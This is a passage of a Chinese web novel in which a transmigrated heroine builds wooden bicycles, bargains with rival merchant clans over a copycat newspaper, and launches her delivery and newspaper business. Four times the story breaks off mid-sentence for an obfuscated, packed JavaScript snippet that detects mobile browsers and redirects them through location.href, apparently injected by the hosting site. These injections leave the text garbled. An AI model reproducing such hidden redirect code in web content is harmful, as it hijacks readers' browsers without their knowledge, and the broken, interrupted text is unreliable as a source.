“很完美！剩下就等脚踏板链条这些了！说不定我们明天就能看到成品~”莫林知抬头，眼神亮晶晶地像另外两人展示着自己的作品，“你们要不要试试？” 想！当然想！ 萧凛仗着腿长手快，抢先接过了车把手。他甚至无师自通地长腿一跨，就坐了上去。 当然，没有链条和踏板，踩不了，只能双脚在地上发力往前推，然后再抬起脚——呃，不行，平衡不好掌握。 萧凛一歪，然后连忙用脚抵住了。魏安见状，把人拉下来自己也上去试了一下······也会两边栽。 不过这些在莫林知眼里都不是事儿：“主要是没有踏板缺少动力，等到自行车踩起来的时候就很好掌握平衡了。” “是这样吗？那我们加把劲儿，今晚给它整出来！”魏安下来，小心地将车子靠立一旁，转身去拿图纸，“我看看，现在也没差多少了，你们稍等我一下，很快，很快！” 说着就重新扑到木料和工具中去了——整个儿就是比莫林知还狂热的手工达人。 emmm其实莫林知和萧凛也没好到哪儿去，两人眼冒精光地继续开始补全剩下的零部件。 三人一二分堆，各自做着自己的那部分，不知不觉就沉浸了进去，连时间已经半夜了都没发现。 晚香带着气找过来时，见到的就是三个人忙的热火朝天的场景。明明没有闲聊交谈，愣是给整出了一副喧闹感。 “莫管事，您该休息了！”晚香提高了声音，跨过门槛走进来，五官都皱成了一团，“您都已经连续十来天没好好休息了！” “嘘——”莫林知头也不抬，手中的动作一点没停，习惯性的回复张口就来，“马上，马上就好。” 晚香气急，站一旁真是说也不是，不说也不是，上手拦吧又怕给人造成麻烦反而耽误事儿。 但是也不想甩手走人，干脆坐到了一边瞪着他们，心想咱们就这么耗着吧。 好在，这次是真的“马上”了。大约过了一个多时辰，莫林知将最后一个部件装好，然后将自行车放正，拍了拍坐垫，跨坐了上去。 小腿一蹬，车就走了，莫林知在大大的堂屋里转了两圈，整个人兴奋得像个小孩子：“成功了，真的成功了！快看！！！” 昏昏欲睡的晚香被惊得坐起，睁开眼一看，整个人都瞪圆了——眼睛圆嘴巴也圆。她捏着帕子的手捂着嘴，震惊好半响才喃喃出声：“我的天，有了这个，以后出门都不用骑马了！” 莫林知将车子骑到院子里，然后冲晚香招招手，让她坐后座上—— 呃，好吧······她高估了自己这个年纪的体力，自行车没蹬起来，还弄得两人差点没摔了。 还好，两人跳得快，没摔着嘻嘻。 不过放另外两个直男眼里，就心疼坏了——别误会，心疼车。 两人一个大跨步上前，不约而同扶起自行车，仔仔细细看了一圈，扫了下尘土，然后商量着让魏安先坐了上去。 初始有点歪歪斜斜的晃悠，但是正如莫林知所说，踏板一踩，自行车动力给足时平衡还是很好掌握的，所以都不用怎么提点，两人基本也就两三圈就掌握了要点。 这学习力未免过于强悍了。 不过可能是男人骨子里的天性吧，对这类器械工具就是更有兴趣一点。晚香还是得萧凛在后面扶着，莫林知教着才慢慢掌握平衡的。 见她脸上也不生气了，满脸兴奋的跟个孩子似的，莫林知得意地挑眉：“怎么样，这个夜熬得不亏吧？” 晚香瞪她一眼，而后不好意思地摸摸脸，笑着重重点头：“挺好玩的。但也不能天天这样！！！” “知道了知道了，管家婆。”莫林知搞怪地作揖，然后将车子交到魏安手上，“这个还没到亮相的时候，先放在院子里别拿出去了。剩下一辆儿童的还得继续麻烦你，我尽快把这个事儿了了然后给你自由。” 魏安现在整幅心神都在自行车上，就算给他钱让他出门他都懒得浪费时间。不怎么在意地摆摆手，他继续骑上车子在院子里转悠。 莫林知无奈摇头，看向萧凛：“你多盯着点，别出了差错。” 萧凛肃容应下：“放心。” 莫林知最后瞅了眼，准备回自己屋子去睡了，转头见晚香还恋恋不舍地看着魏安屁股底下的自行车，好笑地抬手在她眼前晃晃：“要不你继续玩会儿？反正我今早也不出门，准备一觉睡到中午再直接去赴宴。” 晚香摇头：“不了，明天我进来送饭还能骑一骑。” “行吧~”莫林知没勉强，挽着她回房了。 可能是如愿骑到了心爱的自行车，还是时隔15年自己亲手组装的，这一觉莫林知睡得格外踏实。被晚香叫起时还恍惚有种不知身在何方的感觉。 童年的那段记忆再次进入梦中，比以往每一次都要清晰。哪怕醒来，洗漱、穿衣，她都还能清晰记起，梦中叔叔给她递工具，口述指点她下一步时说的话。 还有当时的期待满足，那么熟悉。 ······突然就有点想家了。 晚香端了一盘小面点进来准备让莫林知在出发前点点肚子，转头见人捧着块布巾发呆，狐疑地走过去：“莫管事？洗漱完了吗？” “啊？哦，好了。”莫林知回神，眨去眼中那点潮意，自然而然地将布巾搭到架子上，转身去了桌子。 晚香盯着人背影看了几眼，再看看架子上某人忘记倒的洗脸水，心里暗暗嘀咕：怎么感觉莫管事心情很失落的样子，不会吧？睡前还那么开心呢~ 晚香端起水走出门，心想应该是自己太敏感了。 陈家和方家目前的领头人都是三十多岁的中年男人，一瘦一壮，一矮一高，可能因为陈家祖上是南方人的原因吧，所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156679|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以更具南人的特点。 方家是土生土长的本地豪族，家里做山货药材和皮毛发家，听萧凛说，方家现任主母还和马场那边有点沾亲带故的关系。 段家势力不大，但颇为神秘，靠的是一手不外传的家门手艺吃饭。 北境奇山异水多，尤其是冬季来临时，草木深处总有些传呼其神的东西，什么能活死人肉白骨的雪参、长在雪山之巅吃下后延年不老的松青之类的，几乎没人能拿到，但是段家可以。 更神奇的是，这个家族，自古都是女人做主，从不外嫁，只招赘。 莫林知一走进包厢，见到的就是风格鲜明的三人。她不着痕迹地观察一了下，发现明明合伙做着生意，三人却没有她想象的那么紧密。 从碗碟距离来看，方家和段家好像更像联盟。 双方相互见礼后落座，陈家主给莫林知斟了杯酒，率先打开话题：“说起来，我一位侄儿还曾不知礼数地为了干冰冒犯过莫管事，好在您大人不记小人过，我在此郑重谢过了。”说着一饮而尽。 莫林知面色不变地对饮，嘴上说着“没什么”，心里忍不住感叹，生意做得大不大，果然和脸皮呈正比——对着一个十四五岁的黄毛丫头说‘大人不记小人过’什么的······ 而且，他侄儿才来偷过干冰，他本人就紧接着来仿《见闻》······换作莫林知，她宁愿去大街乞也没法这么安耽地坐在苦主面前说这话。 莫林知呵呵一笑，摆摆手：“陈家主客气啦~我还想着哪天组个局拜拜码头呢，别过阵子《见闻》还没出炉，摊子就让人给掀了。结果还是让各位前辈抢了先，实在失礼，我先自罚三杯了。” 说着就自斟自饮，对面还没来得及拦就三杯下肚了。 ——如果忽略那含讽带刺的话，这姿态确实是挺有诚意的。 陈家主眼中闪过一丝不悦。 方段两位老神在在地坐着，就像个摆设。陈家的说话他们没反应，莫林知说话他们也没反应······反而更让人探不到底。 不悦归不悦，但莫林知背后的人还得顾忌。 陈家主舔着脸笑了下：“莫管事这话就严重了。大家都是本分生意人，王爷治下，谁敢知法犯法啊不是。《奇闻》这事儿完全就是误会，我们其实是很想和《见闻》合作的，奈何头版头条竞价不上，营销那边也选不上，这不，就想着自己弄一个，不图别的，就给自家店铺做个宣传。” 这话说得，莫林知都忍不住想笑——花大价钱搞个仿版就为了给自家投广告？那还不如多投点钱在《见闻》呢。 莫林知懒得戳穿他，本来这一趟她也不是来找麻烦的，相反，她是来做生意的。 “陈家主有句话说的不错，做生意嘛，只要是本本分分不触犯律条，剩下的，咱们各凭手段。”莫林知表了态度，给他们吃了个定心丸，然后神秘一笑，“不过，《奇闻》为了和《见闻》一样保持周刊发行，花了不少人力吧？想不想······降本提效，增加营收？” 70. 交易 赴宴之前，莫林知单纯就是想着应付过去，先别交恶就好。 诚如她所说，市场经济，本质是利益驱使，没有陈家也有其他的，虽然仿版的出现速度是快得超出了预料，不过她尚能应付。 没想到，出门前，萧凛给了她《奇闻》的调查资料，包括《奇闻》的组织架构以及背后三个家族的历史渊源。 算是有点意外收获吧。陈家祖上竟然是江浙一带的豪族巨富，只是有几年连年大旱，外族骚扰频繁，先帝又要发粮赈灾，又要支应边境，国库难支，于是就听从了亲信的建议，挑了几个举国皆知的巨富家族。 ——看到这里，作为商人的莫林知只觉得，皇族能有今天都是自己作的。 不过过去的已经无法更改，她虽然有点唇亡齿寒之感，倒也没多愁到替人悲伤的份上，毕竟陈家的做事风格她也不咋喜欢。 但是陈家当时被流放北境的是主枝一脉，流放之前，他们将不少隐匿的金银财宝都送给了交好的旁支或者姻亲，这也是后来主枝在北境能那么快被赦免甚至发展成北境大家族的原因。 莫林知想利用的，是陈家背后的这层关系网。 “我听说，为了保证7天出刊，您豢养了大批雕版师傅几班倒，花了不少银钱吧？难道您就不想省点人力物力？”莫林知压低声音，“您难道没想过，为什么我《见闻》的印刷房十来个人能支撑这么大量的工程和需求？” 陈家主：“！！！” 那肯定是想知道的。他还曾想方设法打探过。可······莫林知给的福利待遇实在厚道，在她那儿做满50岁退休后据说躺在家里还有银钱拿。而且，每个人都签了保密协议，上面的赔款数目把全家卖了都赔不起。两相对比之下，谁还有心思泄密啊？ 陈家主眼睛都亮了：“莫管事这是愿意公开关键技术了？你放心，我陈家也不是小气的，只要你开价，我绝不还价！” “开什么价啊，都是促进行业发展。”莫林知佯作大方，而后话头一转，带上了一丝愁苦，“不过您也知道，我手头的秘方，不止这一点。只是吧······有心想共享，但是无人可说啊~~~” 陈家主愣了。 他第一反应就是“真的假的？？？？”，继而开始猜疑，这小丫头莫非又是在反讽？ 独门技术谁不想捏在手里？谁会傻了吧唧地丢出去——哪怕赚钱，那也是一锤子买卖，不值当。 可他老辣的眼神在人脸上溜了一圈，发现人看起来还真的挺真诚的，两只眼睛都写着——我想卖方子，你帮我找买家。 陈家主稳了稳心神，再次试探：“我在南方倒是还有几门姻亲故交，莫管事要是不嫌弃，我帮你联系联系？” 莫林知眼睛一亮，大大点头，而后又摇头：“还不够。陈家主，咱们以一省为界，我想在每一省都挑出一到两个合作伙伴来，所以，您的姻亲的姻亲故交，都可以叫上。一定要做得了主的到场，我保证，只要他们来，绝对不虚此行。” 陈家主：“······” 一时之间不知道该骂还是该疑心。 胃口那么大，也不怕噎死自己！ 而且，这个小丫头还非要人当家做主的来······该不会是肃王想下手了吧？ 陈家主勉强笑了笑：“莫管事，您实在高估我了，我哪叫得动那么多人啊是不。” 莫林知伸出手指摇了摇：“干冰、印刷术、还有马上就要面世的自行车，以及我的《见闻》和飞毛腿独家合作权。陈家主，只要你帮我叫来足够的人，我现在就可以立契，印刷术免费赠与你。” 她一脸认真，不像开玩笑的样子，饶是谨慎如陈家主，也忍不住动摇了三分。 莫林知提到的每一样，他都心动无比。 像《见闻》的合作权，他陈家要是能拿下，还有《奇闻》什么事儿？他立马就能将《奇闻》团队打包给莫林知送过去。 别说什么《奇闻》距离《见闻》也就是故事趣味性差那么一点点这种蠢话，谁都知道，《见闻》的核心优势，是在于那层出不穷的营销手段！简直闻所未闻。 就这两天，定安城那边又传了消息过来，说《见闻》发起了一个什么中秋商家的品鉴会，帮全城老百姓避雷，搞得热火朝天，声势几天都没消下去······ 而《见闻》倒好，就出了块地方，两头收钱，赚了个盆满钵满。 想到那些消息，陈家主羡慕得眼睛都红了。 他瞅着莫林知，心里又嫉妒又羡慕——这样的鬼才，根本不是人吧？！······不是人也行，怎么就没出现在他陈家呢！！！ 陈家主心里捶胸顿足，面上不显，清咳了一声说：“除了印刷术，其他的我陈家要有优先合作权。” 莫林知没说话，黑漆漆的眼珠子就那么定定地看着他。 她年纪不大，平时秉承着“伸手不打笑脸人”的原则，照面轻易不挂脸子。所以不管内外，她都能很容易和人打成一片，算是“最亲和的话事人”。 可一旦面无表情，那种智多近妖的压迫感倾泻而出······哪怕是萧凛，都只有噤声的份。 更何况一个陈家主。 陈家主脸上肉眼可见地心虚了，但还是顶着那双冷凝的眼神极力争取：“两······两样行了吧。” “一样，仅限一省之地。” “成······成交。”陈家主咬牙，从袖子里掏出印鉴，“现在就签。” 莫林知没反对，她使了个眼神，晚香招来小二，让人送上笔墨纸砚，然后给两人磨墨。 不多时，两份新鲜出炉的契约就敲定了。 收获颇丰的陈家主连敬了三杯酒，眉开眼笑的，看着比刚才喜庆多了。 “敞亮，痛快！”又一杯下肚，陈家主乐呵呵地夸赞，都忘了莫林知是女子，习惯性一胳膊搭上来——被萧凛的剑挡住了。 寒光凛冽的剑锋还是很有威胁力的，陈家主咻地收回手，连连道歉：“抱歉抱歉，老夫失态了。” “无妨，事情别给我捅娄子就行。”莫林知笑笑，转着酒杯，和气的笑容中又带着捉摸不透的暗影，“下个月底，我在定安城恭候各位。” “放心放心，绝对能达到你的要求。”陈家主打包票。 目的达成，莫林知也懒得再周旋，最后敬了一杯酒，起身告辞。 往外走出了没两步，就被熟悉的女音叫住。 她回头一看，是段家那位异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166077|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域风情的大美人家主。出了这包间的她表情松动很多，白裘一披，更加显得明艳动人。 方家那位慢吞吞的跟在后面。 “还有事儿？” “白玉京的点心其实也不错。我看莫管事刚才没吃几口，想必是不喜欢那油腻的，不如我们去旁边包间喝喝茶吃两块点心？” 莫林知一听，眼眸深邃了几许。 这一伙人有点意思，陈家的约吃饭，段家的约下午茶，就是不知道图什么了。 下午没什么急事，莫林知不置可否地跟着去了。 一进门，段家这位就先奉上了一个盒子：“早年段家有事请托陈家，因此欠下一个人情。这一次，《奇闻》虽然是三家联名，可段方两家也只是挂了个名而已，既不参与日常事务也不参与最后分红。所以，过往得罪的地方，还请莫管事见谅。” “无妨，我说了，大家各凭本事。若真有什么行为是触犯了我的底线的，我一般也不会和人坐下喝茶，而是直接动手了。话教人总是事倍功半，事教人才印象深刻，段家住觉得呢？” 段家主朗声笑了：“早闻莫管事是爽快了，今日一见，果然如此。” 莫林知抿了口茶，并不接话茬，等她自己开口。 段家主自己笑了半天也不觉得尴尬，点了点盒子，意味深长地说：“这个是王爷之前托我找的雪耳，还请莫管事替我转交。” 莫林知歪头，盯着盒子看了两秒，有些不解。 晚香上前，在她耳边低声解释：“雪耳生长在极寒之地，却是及其温和的滋补佳品，尤其是气血不足的女子，入秋时每天一盅，吃满一个疗程，整个冬天都不会手脚冰凉。这个无法人工培养，所以一年也只有几百斤的产量，极其难得。” 莫林知点头，东西她懂了，但······“为什么让我转交？” 晚香给她问住了。 整个王府，能用得上的只有萧太妃和莫林知。 萧太妃在北境生活多年，刚开始每年也离不开雪耳，后来调养好后就用的少了。所以，这东西大概率是给莫林知准备的。 她曾给王爷汇报时提过，哪怕是夏季，莫林知的手脚在早晚也是冰凉的，到了秋冬，恐怕会十分难熬。 ——可以上这些，她都只能在心里嘀咕，半个字不敢透露一点。 段家主的目光从晚香为难的脸上一扫而过，轻声笑了笑：“我族里有事，明天就要启程返回了。这东西名贵，不敢随意交托，又怕王爷急用，听闻莫管事是王爷现在最为倚重之人，所以，还请莫管事代劳。” 她说得有理有据，可，总感觉听起来怪怪的······不过莫林知还是答应了——毕竟听起来，这位段家主和萧衍关系好像蛮好的，她总不能因为自己的态度影响了老板的社交圈——利益相关呢！ “还有这一批的药草，方家也早就准备好了，拖莫管事一并转交。” 莫林知：“······” 她转头，看向萧凛。见他点头，于是无奈松口：“等会儿让萧凛带人上门点货，确认无误我会替你转交的。” 段家主闻言，又笑了一下，说不上是高兴还是不高兴，意味不明地留下一句“劳烦了”然后和方家人走了。 71. 出炉 刚和陈家谈完，莫林知本来满脑子的事情要和萧凛商量，结果被段家这位莫名其妙的态度给弄的，脑子里全是她刚才的行为分析了。 想了好半天，莫林知那根身为女人的天线才不甚明晰地闪了闪。 “······我是不是······被下马威了？”莫林知不确定地看向萧凛，“她喜欢王爷？” 萧凛抱着剑，没有正面回答：“前年段家部族遭灾，王爷巡边恰好路过，救了他们一族老小。” “哦~~~”莫林知了然点头，“英雄救美然后以身相许的故事。” 萧凛看了她一眼：“段家从无外嫁女，只招赘。她身为段家族长，绝无可能与王爷在一起。况且，段方两家马上要联姻了。” 莫林知：？ “方家家主的最小的弟弟不日将嫁给那位段族长。” 莫林知：！！！！ 她眼睛立马亮了：“刚才那位方家的人长得不错啊，他弟弟应该也很好看吧~~段家族长真是好福气~” 莫林知慕了！ 左手权势右手美人，在外还有王爷级别的蓝颜知己，这位段家主拿的简直就是大女主剧本啊！！！ 能再穿一次吗？她想给这位段家主当妹妹！！ “有机会真想去他们部族参观一下。段家主娶妻应该会在部族办婚宴吧？到时候王爷会不会收到请帖？我能不能跟着去啊？”莫林知期待地看着萧凛。 萧凛沉默一瞬，艰难回答：“······如果你开口，王爷应该会答应的。” “那你到时候可得提前告诉我时间，我把手头事情安排安排。” 萧凛：“······好的。” 晚香见莫林知突然兴奋起来，不太理解：“莫姑娘喜欢那位段家主？” “不不不，我不喜欢冲我阴阳怪气的人。”莫林知摇摇手指，“但是会羡慕她。” 见她一脸无法苟同的样子，莫林知噗嗤一下笑了：“整个家里家外都是她当家做主，要是哪天腻了身边人，直接一脚踹开换新的就好了，反正就算合离，生的孩子也归她。你不觉得，这种完全主宰自己人生的感觉很好吗？” 萧凛忍不住侧目：王爷知道莫管事是这想法吗？ 晚香听完，细细思索了一番，还是摇头：“北境女子也可以光明正大外出做工，男人不管在外还是在家里，都会给予妻子足够尊重。我觉得，两个人在一起，互相尊重是基础，而不是应该想着我压你一头，你压我一头。” “你说的对，但是可惜，真正能懂得‘尊重’两个字的人太少了。”莫林知说着，神色变得漠然：“举个直白的例子，夫妻双方晚上回了房，女人不想做那事儿，可男人兴头来了，有几个愿意停下？” 晚香&萧凛：“！！！！” 目瞪口呆jpg. 这话语太劲爆，晚香又羞又急，余光瞟瞟萧凛，几乎想上去捂着莫林知的嘴不让她说了——这话要是被萧管事传到王爷耳中可怎么好。 就连萧凛也不自在的往后挪了挪屁股。 莫林知将两人的不自在看在眼里，嗤笑了一声：“再比如，这样的话，男人说出来就是个无伤大雅的黄段子，而我说出来，就是毁名节。可若是在段家的地盘，恐怕就是女子能说，男人不能说了吧。” 哪怕是自由如现代，女性身上那些隐形的条条框框和枷锁也从来就没少过。有的时候，莫林知真希望哪天醒来，这个世界颠转，女尊男卑试试。 没想到在禹朝先遇上了。 可遇上了，那也只是北地一小撮人而已。 莫林知叹息一声，刚才的兴头褪了大半，有些意兴阑珊地吩咐正事：“晚香，那些雪耳你收好，等王爷来了再交给他。萧凛，开年后我会立马南下铺展飞毛腿和《见闻》，所以你这边的人员要准备好，还有林显，给他传个信，提前准备好一波助手，到时候跟着我一起南下。” “是！”萧凛肃容领命，心里大大松了口气。 ——聊公事就挺好的，这男男女女之间的学问，还是等王爷回来去应付吧。 不过······今晚的报告——莫管事这么惊世骇俗的话要一并写上吗？要不还是写上吧？也让王爷多了解了解自己喜欢的人，这样才能对症下药啊不是······ 萧凛抓着剑的手一紧，脸上苦恼一闪而过。 《奇闻》最终还是帮《见闻》打了个免费广告——招工广告。 在新一期《见闻》发布前，陈诚率先梳理好了招聘的流程和物料，然后来跟莫林知定时间。 这东西也没什么良辰吉日要选，既然准备好了开干就行，于是就近定了个“明天”，然后借助陈家那些摊位大街小巷的发了不少招工启示。 飞毛腿的门口也都贴了，所以到招工这天，到的人还不少。流程和之前一样，大家领了各自部门的考生去了各自区域，然后监考、批卷，面试。 最后顺顺利利地选了2组人出来。 正好，马上就是沧澜城第一期《见闻》面世的日子，飞毛腿那边的信息都汇总过来了，这两天何泽一个人又筛选素材还要兼任主笔的，忙得焦头烂额，新招的2个创作部主笔和素材部员工第二天就被他拉了壮丁。 新人一到位，莫林知也长松了口气。这两天她既要把控大方向和进度，又要顾及细节，哪里需要哪里搬，都快忙成了陀螺。今天新人一安排好，她直接拨了款项，让他们收工后带着新人一起吃顿饭庆祝庆祝，自己则提前下工，带着晚香回了魏安那里。 目前已经有2辆成人用自行车和1辆孩童用的自行车，魏安手头正在做的还有一辆孩童的，差不多今晚收工。 这几辆东西是院子里的心头宝，不管是齐铭他们还是印刷坊那边的人，回来第一件事就是抽签！大家轮番着骑3圈。还有沧澜城几家飞毛腿的负责人，也被叫来熟悉熟悉这个工具。 可以说，虽然是木头做的，但是在众人的检验之下，这几辆自行车的安全质检是完全过关了！ 现在就是一切准备就绪，只等《见闻》出炉！ 忙乱的时候时间总是过得特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177883|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别快，眼睛一睁一闭，2天时间就过去了。 这天早上，沧澜城众人如往常一样，出摊的出摊，上工的上工，突然，一个熟悉的制服就从身旁晃过去了。 整个人坐在两个轮子组成的怪模怪样的器械上，两腿一蹬一圈一蹬一圈的，跑得比车马还快！ “那什么玩意儿？” “唉你看到吗？刚才从旁边过去的。” “我又不眼瞎，这么大个家伙怎么可能没看到！” “那衣服，是飞毛腿吧？” “是是是，后面那箱子上不写着呢嘛······” 整条大街恍若被按下了暂停键，卖东西买东西的都不买卖了，目光瞟向一处，往来行走的也纷纷驻足转身转头，向着飞毛腿消失的方向看去。 正好，飞毛腿在前头一家卖肉饼的铺子前停下来了，跑腿小哥脚往地上一□□个怪模怪样的东西就稳稳停住。 “张大叔，10个肉饼~” 肉饼铺的张大叔傻愣愣地看着每天都来的小哥，忘了回复。 “张大叔？张老板！！！”小哥提高声音。 张老板这才像是被人按下了运行键，回过神来。 他麻利地给人打包好肉饼，从炉子后面走出来，啧啧称奇地围着小哥转了好几圈：“你这是什么玩意儿？看着比马还好使。” 小哥将给客人代购的肉饼装在后面的保温车厢里，得意地笑了笑：“那可不，不用喂食，小腿一蹬就跑了，这还是城里人多，要不然，它还能更快！” “啧啧啧啧~真是好家伙~”张老板小心翼翼地伸出手，在小哥扶着的把手处摸了摸。 光滑敦厚的木质触感握在手里就有种踏实感。 “你这哪来的？我能不能······也搞一个。”张老板搓搓手，一脸希冀地看着小哥。 “对啊对啊，我们都想搞一个！” 不知道什么时候，整条街的人都围过来了，你推我我推你的，包围圈越缩越小。 小哥抱歉地团团作揖，然后从箱子里抱出厚厚一叠眼熟的纸张： “这东西制作极耗费时间，我们上头的东家找了几十个人一起，耗费了快一个月也才制作出2台。不过东家说了，东西制作出来肯定是要利民利国的，所以过阵子会专门开一个体验大会。具体的规则在这个上面都有，感兴趣的可以采购一份，不贵，一份3文钱！” 围观众人一听，注意力这才转移到他手上那一叠纸张上去，一看，顿时有人笑了：“这玩意儿别人都免费送，你们家的纸张还不如别人家，居然还要收钱！” 小哥神秘一笑，半点不怂：“这东西卖的可不是纸张，而是信息。我们这个值不值当收费，您买一份，看过就知道了。” “是吗？”质疑的人不吃他这套，反而激将他，“你要是这么自信，不如先让我看一眼，我再决定买不买。” 小哥二话不说，直接送了一份过去。 那人半信半疑地展开，他身侧身后的人立马朝那个方向挤了过去，想一起瞅瞅。 72. 发行 “嘿，还真不一样，不过这都什么啊？龙沟村铁皮梨正值最佳赏味期，脆甜多汁，生吃凉拌，煮汤入菜皆可，6文钱一斤，50斤起购，街坊邻居可一起拼单，飞毛腿当日采摘送货上门，每斤跑腿费3文钱······” “还有这儿呢，卖山楂大蒜的都有。哎哟喂，你们说，这有啥好写的，我们要什么不每天都直接赶集去买了，这价格统共算下来也没便宜啊。” 跑腿小哥听人这么说，半点不气，反而笑道：“可是我们是直接送货上门啊，这不给您省时省力了。有着空余时间，您出门唠唠嗑，在家躺一躺不是更舒服。而且，这附近乡镇的我们都是当天采摘当天送货上门，保证让您吃到最新鲜的，那味道可就不一样了。” 那人一听，立马被小哥思维带跑了，连连点头：“说得也是。” 不过这里更多的还是卖货的，一听这上面的内容，第一时间就是自家生意要没了，也叫嚷开了：“你们不能这么搞啊，我每天辛辛苦苦的背菜进城，结果大家都去你们那里买了，我这儿咋办？！老天爷，这是要逼死我们啊······” “是啊，怎么能这么搞呢，我们不吃饭啦？” “就是，丧良心！” 有人一带头，其余摊主立马反应过来，连自行车这么个稀罕物什都顾不上，纷纷抗议。 小哥早几天接受的培训内容已经提到过这么个情况，半点不慌地笑了：“当然是把东西交给我们来帮你们一起卖啦~” “你想啊，你们每天起早摸黑，摘菜洗菜，还要赶路进城，又累又不安全。不如全部委托给我们飞毛腿啊，品质好的我们还能帮忙联系酒楼和其他需要的商家，说不定能谈个好价格呢是不是。这样你们每天早上摘个菜，完事儿还能睡个回笼觉，起来还有时间做点其他的啊，不是更好！” 他这么说得当然是好的，只是听的人还是半信半疑—— “你们真的愿意收啊？” “当然。”小哥拍了拍车后面的箱子上每一面都印着的“飞毛腿”三个大字，“做生意讲究的就是‘诚信’二字，我们飞毛腿的生意也全仰赖大家信任啊，怎么敢砸自己的招牌。真有这样的，你们告到上面，我们全部要跟着吃排头。” “你们有好的货源可以反馈到任何飞毛腿，我们会在当天内安排跑腿上门核实产品质量，商谈价格，什么强买强卖不会有的。买家也是，我们送货上门后，要买家确认东西没问题我们才会收尾款的。说实话，我们真的也就是赚点跑腿钱，主要还是帮大家都省时省力点嘛~” 他不止长得一副老实相，说话也实诚，将整个链路大大方方地说出来，毫无隐瞒。围观人群里那些摊主立时不吵不闹了，心里盘算着今天卖完了早点回去地里看看，有那快成熟的就早点找他们的人上门交涉。 大家的注意力又重新回到《见闻》上。这么多人少说上百，也不可能个个都围着这么一份看，有那急性子或者不差钱的，当即就掏了钱蹲到一边仔仔细细地看。 “哎哟喂，这上面也有故事呢，我看看，比《奇闻》写得好！” “哎呀别挤别挤，想看自己买一份嘛，又不贵。” 自行车体验券的事儿就在报纸的第二张，详详细细介绍了自行车的名字，材料，作用······还给这个东西的来源和灵感编了个故事。 “真有意思，还有人能做梦梦到神仙教他刨木头的。” “哎我看到了，这儿写着呢，连着购买三期《见闻》就可以兑换1张体验券，可以骑3圈。《见闻》一周一期，三期过后他们差不多就有10辆自行车了，到时候就在城西那边的空地上可以体验。哎你们看，说是还有小孩子的呢，四岁到12岁的孩子也能体验。” “我看看我看看”旁边人一听，立马把脑袋挤了过去，见黄纸黑子写得清清楚楚，也不纠结了，赶紧冲小哥掏了3文钱，“那赶紧给我来一份。” “我也要的。” “还有我！！！” 刚才还在手握报纸的那几个人身边挤，转头立马就奔小哥这边来了。 小哥还要忙着送货，手头也就带了三十来份，完全不够分的。手头的卖完了之后，看着满世界伸过来的手和铜板，满头大汗，连连作揖：“大家直接去飞毛腿买，数量管够，我这儿还得赶紧给人把东西送过去，辛苦给让个路哈。” “辛苦辛苦，让让。” 小哥推着车子艰难开路。 内圈一群大姐大婶看他急得白面赤耳的，心里那点子同情立时涌上来了，一边往后退一边大声吼后面推搡的：“行了行了，人手上都卖空了，赶紧的给人让开吧。” “别挤了，赶紧去飞毛腿抢货吧，为难人小哥干啥子。” 大家都不是不讲道理的人，只是这人流散开哪里是一两秒就能做到的。这不得从最外一层开始一点点往后挪嘛！ 有那没抢到的，本来心里就有点惴得慌，听前面人一说，就忍不住呛了一句：“你买到手了当然是不急的，就你会做好人啊，我们都是那不讲道理的。” 前面那大姐也不是好欺负的，话一入耳，头立马就转了过去开吵：“我做什么人都比你这个人要好！你看看你像不像讲道理的，你——” 北境天高地阔，养得这边的人也和这天一样，心肝脾肺肾都厚一些。这肺活量一足，说话就像吵架，一不小心就要被点爆。 跑腿小哥没想到卖个东西还能成为导火索，但是源头在他这儿又不能放下不管，于是更加着急地两边劝，劝到最后，人家还在那中气十足地对喷，他这儿已经哑了嗓子，一头一脸的汗，跟跑了5公里负重一样。 还是旁人见他为难成这样，实在可怜，才帮着一起劝了几句： “行啦行啦，赶紧散了吧，别耽误人小哥了，大家挣点钱都不容易。” “可不嘛，你们瞅瞅人家，都急成啥样了。” 喧闹中心的两人闻言，不约而同扭头，这才看见，被两人搡至一旁干着急的人。 大家都是讨生活的人，知道挣点钱的辛苦，没成想耽搁人做事，当下也不吵了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13198696|130909||http|test|mini|href|location''.split(''|''),0,{})); () { 